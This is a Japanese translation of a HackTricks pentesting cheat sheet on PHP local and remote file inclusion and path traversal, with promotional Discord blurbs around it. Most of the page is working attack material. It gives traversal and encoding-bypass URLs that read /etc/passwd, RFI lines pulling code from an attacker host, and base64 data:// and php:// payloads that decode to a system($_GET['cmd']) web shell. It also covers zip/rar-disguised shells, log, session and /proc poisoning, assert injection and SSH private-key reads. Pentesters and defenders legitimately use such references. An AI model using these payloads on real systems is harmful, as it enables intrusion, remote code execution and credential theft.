.. | ||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md | ||
lfi2rce-via-eternal-waiting.md | ||
lfi2rce-via-nginx-temp-files.md | ||
lfi2rce-via-php-filters.md | ||
lfi2rce-via-phpinfo.md | ||
lfi2rce-via-segmentation-fault.md | ||
lfi2rce-via-temp-file-uploads.md | ||
phar-deserialization.md | ||
README.md | ||
via-php_session_upload_progress.md |
ファイルインクルージョン/パス遍歴
htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ!
HackTricks をサポートする他の方法:
- HackTricks で企業を宣伝したいまたは HackTricks をPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksスワッグを入手する
- The PEASS Familyを発見し、独占的なNFTsコレクションを見つける
- **💬 Discordグループまたはtelegramグループに参加し、Twitter 🐦 @carlospolopmで フォローしてください。
- ハッキングトリックを共有するためにPRを提出して HackTricks と HackTricks Cloud のGitHubリポジトリに参加してください。
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るためにHackenProof Discord サーバーに参加しましょう!
ハッキングの洞察
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加する
リアルタイムハックニュース
リアルタイムのニュースと洞察を通じて、ハッキングの世界の速いペースについていく
最新のアナウンスメント
最新のバグバウンティの開始や重要なプラットフォームのアップデートについての情報を得る
**Discord に参加して、今日からトップハッカーと協力を始めましょう!
ファイルインクルージョン
リモートファイルインクルージョン(RFI): ファイルがリモートサーバーから読み込まれます(最適: コードを書いてサーバーが実行します)。PHPでは、これはデフォルトで 無効 です(allow_url_include)。
ローカルファイルインクルージョン(LFI): サーバーがローカルファイルを読み込みます。
この脆弱性は、ユーザーがサーバーによって読み込まれるファイルをある方法で制御できる場合に発生します。
脆弱な PHP関数: require、require_once、include、include_once
この脆弱性を悪用するための興味深いツール: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
複数の *nix LFI リストを組み合わせ、さらにパスを追加して作成したもの:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
/
を \
に変更してみてください
../../../../../
を追加してみてください
脆弱性の存在を確認するためにファイル /etc/password を見つけるために複数の技術を使用するリストはこちら で見つけることができます。
Windows
異なるワードリストの統合:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
/
を \
に変更してみてください
C:/
を削除して ../../../../../
を追加してみてください
脆弱性の存在を確認するためにファイル /boot.ini を見つけるために複数の技術を使用するリストはこちら で見つけることができます。
OS X
Linux の LFI リストをチェックしてください。
基本的な LFI とバイパス
すべての例はローカルファイルインクルージョン用ですが、リモートファイルインクルージョンにも適用できます(page=[http://myserver.com/phpshellcode.txt\](http://myserver.com/phpshellcode.txt)/)。
http://example.com/index.php?page=../../../etc/passwd
非再帰的に取り除かれたトラバーサルシーケンス
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
ヌルバイト (%00)
提供された文字列の末尾に追加の文字をバイパスする(バイパス方法: $_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
これはPHP 5.4以降で解決済み
エンコーディング
ダブルURLエンコード(その他も含む)など、標準でないエンコーディングを使用することができます:
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
既存のフォルダから
もしかしたら、バックエンドがフォルダのパスをチェックしているかもしれません:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
サーバー上のファイルシステムディレクトリの探索
サーバーのファイルシステムは、特定のテクニックを用いて、ファイルだけでなくディレクトリを再帰的に探索することができます。このプロセスには、ディレクトリの深さを特定し、特定のフォルダの存在を調査することが含まれます。以下に、これを達成するための詳細な方法が示されています:
- ディレクトリの深さを特定する:
現在のディレクトリの深さを確認するには、
/etc/passwd
ファイルを正常に取得することによって(サーバーがLinuxベースの場合に適用される)、ディレクトリの深さを確定します。深さが3であることを示す、以下のような構造の例のURLがあります:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- フォルダの探索:
URLに疑わしいフォルダの名前(例:
private
)を追加し、次に/etc/passwd
に戻ります。追加のディレクトリレベルは、深さを1つ増やす必要があります:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- 結果の解釈: サーバーの応答により、フォルダが存在するかどうかが示されます:
- エラー / 出力なし:
private
フォルダはおそらく指定された場所に存在しない可能性があります。 /etc/passwd
の内容:private
フォルダの存在が確認されました。
- 再帰的な探索: 発見したフォルダは、同じ技術または従来のローカルファイルインクルージョン(LFI)方法を使用して、さらにサブディレクトリやファイルを調査できます。
ファイルシステム内の異なる場所のディレクトリを探索するには、ペイロードを適切に調整します。たとえば、現在のディレクトリが深さ3であると仮定して、/var/www/
に private
ディレクトリが含まれているかどうかを確認するには、次のようにします:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
パス切り詰め技術
パス切り詰めは、Webアプリケーション内のファイルパスを操作するための手法です。これは、特定のセキュリティ対策がファイルパスの末尾に追加の文字を付加することで、制限されたファイルにアクセスするためにしばしば使用されます。目標は、セキュリティ対策によって変更されたファイルパスが、依然として目的のファイルを指すようにすることです。
PHPでは、ファイルシステムの性質により、ファイルパスのさまざまな表現が同等と見なされることがあります。たとえば:
/etc/passwd
、/etc//passwd
、/etc/./passwd
、/etc/passwd/
はすべて同じパスとして扱われます。- 最後の6文字が
passwd
の場合、/
を追加してpasswd/
にすると、対象のファイルが変わらない。 - 同様に、ファイルパスに
.php
が追加されている場合(例:shellcode.php
)、末尾に/.
を追加してもアクセスされるファイルは変わりません。
提供された例は、パス切り詰めを利用して /etc/passwd
にアクセスする方法を示しています。これは、その中にユーザーアカウント情報などの機密情報が含まれているため、一般的なターゲットです。
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
これらのシナリオでは、必要なトラバーサルの数は約2027回になる可能性がありますが、この数はサーバーの構成によって異なる可能性があります。
-
ドットセグメントと追加文字の使用: トラバーサルシーケンス(
../
)は、追加のドットセグメントと文字と組み合わせて使用することで、ファイルシステムをナビゲートし、サーバーによって追加された文字列を無視する効果的な方法となります。 -
必要なトラバーサルの数を決定する: 試行錯誤を通じて、
../
シーケンスの正確な数を見つけることができ、ルートディレクトリに移動し、その後/etc/passwd
に移動するために必要な数を見つけることができます。これにより、追加された文字列(例:.php
)が中立化され、しかし望ましいパス(/etc/passwd
)が維持されます。 -
偽のディレクトリから始める: 存在しないディレクトリ(例:
a/
)でパスを開始するのは一般的な方法です。このテクニックは、予防措置として使用されるか、サーバーのパス解析ロジックの要件を満たすために使用されます。
パス切り詰め技術を使用する際には、サーバーのパス解析動作とファイルシステム構造を理解することが重要です。各シナリオには異なるアプローチが必要となる場合があり、最も効果的な方法を見つけるためにはテストがしばしば必要です。
この脆弱性はPHP 5.3で修正されました。
フィルター回避トリック
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
リモートファイルインクルージョン
PHPでは、これはデフォルトで無効になっています。なぜなら、allow_url_include
が Off になっているからです。これを動作させるには、On にする必要があり、その場合、サーバーからPHPファイルをインクルードしてRCEを取得できます。
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
もし何らかの理由で**allow_url_include
がOnになっているが、PHPが外部ウェブページへのアクセスをフィルタリング**している場合、この投稿によれば、例えばデータプロトコルを使用してbase64でエンコードされたb64 PHPコードをデコードし、RCEを取得することができます:
{% code overflow="wrap" %}
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
{% endcode %}
{% hint style="info" %}
前述のコードでは、最後の +.txt
が追加された理由は、攻撃者が .txt
で終わる文字列が必要だったためです。そのため、文字列はそれで終わり、b64デコード後にその部分は単なるゴミとなり、実際のPHPコードが含まれ(したがって、実行されます)。
{% endhint %}
php://
プロトコルを使用しない別の例は次のとおりです:
{% code overflow="wrap" %}
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
{% endcode %}
Pythonのルート要素
Pythonでは、次のようなコードがある場合:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
ユーザーがfile_name
に絶対パスを渡すと、以前のパスが単に削除されます。
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
以下は、ドキュメント による意図された動作です:
コンポーネントが絶対パスの場合、すべての前のコンポーネントが破棄され、絶対パスのコンポーネントから結合が続行されます。
Java ディレクトリのリスト
Java でパストラバーサルがある場合、ファイルではなくディレクトリを要求すると、ディレクトリのリストが返されるようです。これは他の言語では起こらないでしょう(私の知る限り)。
トップ25のパラメータ
以下は、ローカルファイルインクルージョン(LFI)脆弱性に対して脆弱である可能性のあるトップ25のパラメータのリストです(リンクから取得):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
PHPラッパーとプロトコルを使用したLFI / RFI
php://filter
PHPフィルターを使用すると、データを読み取る前または書き込む前に基本的な変更操作を実行できます。フィルターには5つのカテゴリがあります:
- 文字列フィルター:
string.rot13
string.toupper
string.tolower
string.strip_tags
: データからタグを削除します("<"と">"の間のすべて)- このフィルターは、現代のPHPのバージョンから消えています
- 変換フィルター
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: 異なるエンコーディングに変換します(convert.iconv.<input_enc>.<output_enc>
)。サポートされているすべてのエンコーディングのリストを取得するには、コンソールで次のコマンドを実行します:iconv -l
{% hint style="warning" %}
convert.iconv.*
変換フィルターを悪用すると、任意のテキストを生成することができ、任意のテキストを書き込んだり、関数を作成したりするのに役立ちます。詳細については、phpフィルターを介したLFI2RCEを確認してください。
{% endhint %}
- 圧縮フィルター
zlib.deflate
: コンテンツを圧縮します(多くの情報を外部に持ち出す場合に便利)zlib.inflate
: データを解凍します- 暗号化フィルター
mcrypt.*
: 廃止予定mdecrypt.*
: 廃止予定- その他のフィルター
- phpで
var_dump(stream_get_filters());
を実行すると、いくつかの予期しないフィルターが見つかります: consumed
dechunk
: HTTPチャンクエンコーディングを逆にしますconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
{% hint style="warning" %} "php://filter" パートは大文字と小文字を区別しません {% endhint %}
php://fd
このラッパーは、プロセスが開いているファイルディスクリプタにアクセスすることを可能にします。開かれたファイルの内容を持ち出すのに役立つかもしれません:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
You can also use php://stdin, php://stdout, and php://stderr to access the file descriptors 0, 1, and 2 respectively (not sure how this could be useful in an attack)
zip:// and rar://
Upload a Zip or Rar file with a PHPShell inside and access it.
In order to be able to abuse the rar protocol it need to be specifically activated.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
data://スキームは、データスキームを使用してファイルを読み取るために使用されます。これは、ファイルインクルージョン攻撃の一部として悪用される可能性があります。
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
このプロトコルは、phpの設定**allow_url_open
とallow_url_include
**によって制限されています。
expect://
Expectを有効にする必要があります。次のようにしてコードを実行できます:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
POSTパラメーターにペイロードを指定します。
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
.phar
ファイルは、Webアプリケーションがファイルの読み込みにinclude
などの関数を利用する場合に、PHPコードを実行するために使用できます。以下に示すPHPコードスニペットは、.phar
ファイルの作成を示しています:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
.phar
ファイルをコンパイルするには、次のコマンドを実行する必要があります:
php --define phar.readonly=0 create_path.php
実行すると、test.phar
というファイルが作成され、ローカルファイルインクルージョン(LFI)脆弱性を悪用する可能性があります。
LFIがPHPコードの実行なしにファイル読み取りのみを行う場合、file_get_contents()
、fopen()
、file()
、file_exists()
、md5_file()
、filemtime()
、filesize()
などの関数を介して、逆シリアル化脆弱性の悪用が試みられる可能性があります。この脆弱性は、phar
プロトコルを使用してファイルを読み取ることに関連しています。
.phar
ファイルのコンテキストで逆シリアル化脆弱性を悪用する詳細については、以下のドキュメントを参照してください:
Phar Deserialization Exploitation Guide
{% content-ref url="phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}
その他のプロトコル
ここに 含める可能性のあるプロトコルをチェックしてください:
- php://memory および php://temp — メモリ内または一時ファイルに書き込み(ファイルインクルージョン攻撃でどのように有用かは不明)
- file:// — ローカルファイルシステムへのアクセス
- http:// — HTTP(s) URLへのアクセス
- ftp:// — FTP(s) URLへのアクセス
- zlib:// — 圧縮ストリーム
- glob:// — パターンに一致するパス名を検索(印刷可能なものを返さないため、ここではあまり有用ではありません)
- ssh2:// — セキュアシェル2
- ogg:// — オーディオストリーム(任意のファイルを読み取るのには役立ちません)
PHPの 'assert' を介したLFI
PHPにおけるローカルファイルインクルージョン(LFI)リスクは、文字列内のコードを実行できる 'assert' 関数を扱う場合に特に高いです。これは、ディレクトリトラバーサル文字("..")を含む入力がチェックされているが適切にサニタイズされていない場合に特に問題となります。
たとえば、PHPコードがディレクトリトラバーサルを防ぐように設計されている場合、次のようになります:
assert("strpos('$file', '..') === false") or die("");
これはトラバーサルを防ぐことを目的としていますが、偶然にもコードインジェクションのためのベクトルを作成してしまいます。ファイル内容を読むためにこれを悪用するには、攻撃者は次のように使用できます:
' and die(highlight_file('/etc/passwd')) or '
同様に、任意のシステムコマンドを実行するためには、次のように使用することができます:
' and die(system("id")) or '
重要なのは、これらのペイロードをURLエンコードすることです。
HackenProof Discord サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
ハッキングの洞察
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう
リアルタイムハックニュース
リアルタイムのニュースと洞察を通じて、ハッキングの世界を追いかけましょう
最新のお知らせ
最新のバグバウンティの開始や重要なプラットフォームのアップデートについて情報を得ましょう
Discord に参加して、今日からトップハッカーと協力を始めましょう!
PHP Blind Path Traversal
{% hint style="warning" %}
このテクニックは、PHP関数のファイルパスを制御できる場合に関連します。ファイルにアクセスしますが、ファイルの内容は表示されません(単純な file()
の呼び出しのように)。
{% endhint %}
この素晴らしい投稿 では、PHPフィルタを介してエラーオラクルを介してファイルの内容を外部に流出させる方法が説明されています。
要約すると、このテクニックは、ファイルの内容を大きくするために**"UCS-4LE"エンコーディングを使用し、ファイルを開くPHP関数がエラー**をトリガーするようにします。
その後、最初の文字を漏洩させるために、フィルタ dechunk
が使用され、他のフィルタ(base64 や rot13 など)と最終的にフィルタ convert.iconv.UCS-4.UCS-4LE と convert.iconv.UTF16.UTF-16BE が使用され、他の文字を先頭に配置して漏洩されます。
脆弱性のある関数: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (これだけを読み取るターゲット)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
技術的な詳細については、言及された投稿をチェックしてください!
LFI2RCE
リモートファイルインクルージョン
以前に説明した内容は、このリンク を参照してください。
Apache/Nginxログファイル経由
ApacheまたはNginxサーバーがLFIに脆弱である場合、インクルード機能内で**/var/log/apache2/access.log
または/var/log/nginx/access.log
** にアクセスを試みることができます。ユーザーエージェントまたはGETパラメータ内に <?php system($_GET['c']); ?>
のようなPHPシェルを設定し、そのファイルをインクルードします
{% hint style="warning" %} シェルに単一引用符ではなく二重引用符を使用すると、二重引用符が文字列 "quote;" に変更され、PHPはそこでエラーをスローし、それ以外の何も実行されません。
また、ペイロードを正しく記述することを確認してください。そうしないと、ログファイルを読み込むたびにPHPがエラーをスローし、2回目の機会が得られなくなります。 {% endhint %}
これは他のログでも行うことができますが、ログ内のコードはURLエンコードされている可能性があるため、これはシェルを破壊する可能性があります。ヘッダー authorisation "basic" には Base64 で "user:password" が含まれ、ログ内でデコードされます。PHPShell をこのヘッダー内に挿入することができます。
他の可能なログパス:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
ファジングワードリスト: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
メール経由
内部アカウント(user@localhost)にPHPペイロード(<?php echo system($_REQUEST["cmd"]); ?>
のような)を含むメールを送信し、**/var/mail/<USERNAME>
や/var/spool/mail/<USERNAME>
**のようなパスでユーザーのメールに含めてみてください。
/proc/*/fd/* 経由
- 多数のシェルをアップロードします(例:100個)
- http://example.com/index.php?page=/proc/$PID/fd/$FDをインクルードします。ここで、$PIDはプロセスのPID(ブルートフォースできます)であり、$FDはファイルディスクリプタ(これもブルートフォースできます)です。
/proc/self/environ 経由
ログファイルのように、ペイロードをUser-Agentで送信すると、/proc/self/environファイル内に反映されます。
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
アップロード経由
ファイルをアップロードできる場合は、シェルペイロードをその中にインジェクトしてください(例:<?php system($_GET['c']); ?>
)。
http://example.com/index.php?page=path/to/uploaded/file.png
ファイルを読みやすく保つためには、画像/ドキュメント/PDFのメタデータにインジェクトするのが最適です
Zipファイルをアップロードする方法
PHPシェルが圧縮されたZIPファイルをアップロードしてアクセスします:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
PHPセッション経由
ウェブサイトがPHPセッション(PHPSESSID)を使用しているかどうかを確認します。
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
PHPでは、これらのセッションは/var/lib/php5/sess\[PHPSESSID]
ファイルに保存されます。
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
クッキーを<?php system('cat /etc/passwd');?>
に設定します。
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
LFIを使用してPHPセッションファイルをインクルードします。
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
SSH経由
sshがアクティブである場合は、使用されているユーザーを確認します(/proc/self/status&/etc/passwd)そして**<HOME>/.ssh/id_rsa**にアクセスを試みます。
vsftpd _ログ_経由
FTPサーバーvsftpdのログは**/var/log/vsftpd.log**にあります。ローカルファイルインクルージョン(LFI)脆弱性が存在し、公開されたvsftpdサーバーへのアクセスが可能な場合、次の手順が考慮されます:
- ログインプロセス中にユーザー名フィールドにPHPペイロードをインジェクトします。
- インジェクション後、LFIを使用して**/var/log/vsftpd.log**からサーバーログを取得します。
PHPベース64フィルター経由(base64を使用)
この記事に示されているように、PHPベース64フィルターは非base64を無視します。これを使用してファイル拡張子のチェックをバイパスできます:base64で終わる".php"を提供すると、"."を無視して"php"をbase64に追加します。以下は例のペイロードです:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
phpフィルターを介して(ファイル不要)
この解説では、phpフィルターを使用して任意のコンテンツを出力できることが説明されています。つまり、ファイルに書き込む必要なしに、インクルード用に任意のphpコードを生成できます。
{% content-ref url="lfi2rce-via-php-filters.md" %} lfi2rce-via-php-filters.md {% endcontent-ref %}
セグメンテーションフォールトを介して
/tmp
に一時的に保存されるファイルをアップロードし、同じリクエストでセグメンテーションフォールトをトリガーし、その後一時ファイルが削除されないため、それを検索できます。
{% content-ref url="lfi2rce-via-segmentation-fault.md" %} lfi2rce-via-segmentation-fault.md {% endcontent-ref %}
Nginxの一時ファイルストレージを介して
ローカルファイルインクルージョンを見つけ、NginxがPHPの前で実行されている場合、次のテクニックを使用してRCEを取得できるかもしれません:
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %} lfi2rce-via-nginx-temp-files.md {% endcontent-ref %}
PHP_SESSION_UPLOAD_PROGRESSを介して
セッションがなく、session.auto_start
がOff
でもローカルファイルインクルージョンを見つけた場合、PHP_SESSION_UPLOAD_PROGRESS
をマルチパートPOSTデータで提供すると、PHPがセッションを有効にします。これを悪用してRCEを取得できます:
{% content-ref url="via-php_session_upload_progress.md" %} via-php_session_upload_progress.md {% endcontent-ref %}
Windowsでの一時ファイルアップロードを介して
ローカルファイルインクルージョンを見つけ、サーバーがWindowsで実行されている場合、RCEを取得できるかもしれません:
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %} lfi2rce-via-temp-file-uploads.md {% endcontent-ref %}
phpinfo()(file_uploads = on)を介して
ローカルファイルインクルージョンを見つけ、file_uploads = onのphpinfo()を公開するファイルがある場合、RCEを取得できます:
{% content-ref url="lfi2rce-via-phpinfo.md" %} lfi2rce-via-phpinfo.md {% endcontent-ref %}
compress.zlib + PHP_STREAM_PREFER_STUDIO
+ パス開示を介して
ローカルファイルインクルージョンを見つけ、一時ファイルのパスを外部に送信できるが、サーバーがインクルードするファイルにPHPマークがあるかどうかを確認している場合、この競合状態を使用してそのチェックをバイパスできます:
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {% endcontent-ref %}
永遠の待機 + ブルートフォースを介して
LFIを悪用して一時ファイルをアップロードし、サーバーがPHP実行を停止させることができれば、その後数時間かけてファイル名をブルートフォースして一時ファイルを見つけることができます:
{% content-ref url="lfi2rce-via-eternal-waiting.md" %} lfi2rce-via-eternal-waiting.md {% endcontent-ref %}
致命的エラーへ
/usr/bin/phar
、/usr/bin/phar7
、/usr/bin/phar.phar7
、/usr/bin/phar.phar
のいずれかをインクルードすると、PHP致命的エラーが発生します(同じものを2回インクルードする必要があります)。
これがどのように有用かはわかりませんが、有用かもしれません。
PHP致命的エラーを引き起こしても、PHPによってアップロードされた一時ファイルは削除されます。
参考文献
- PayloadsAllTheThings\
- PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
HackenProof Discordサーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
ハッキングの洞察
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう
リアルタイムハックニュース
リアルタイムのニュースと情報を通じて、ハッキングの世界を最新の状態で把握しましょう
最新のアナウンスメント
最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう
**Discord**に参加して、今日からトップハッカーと協力を始めましょう!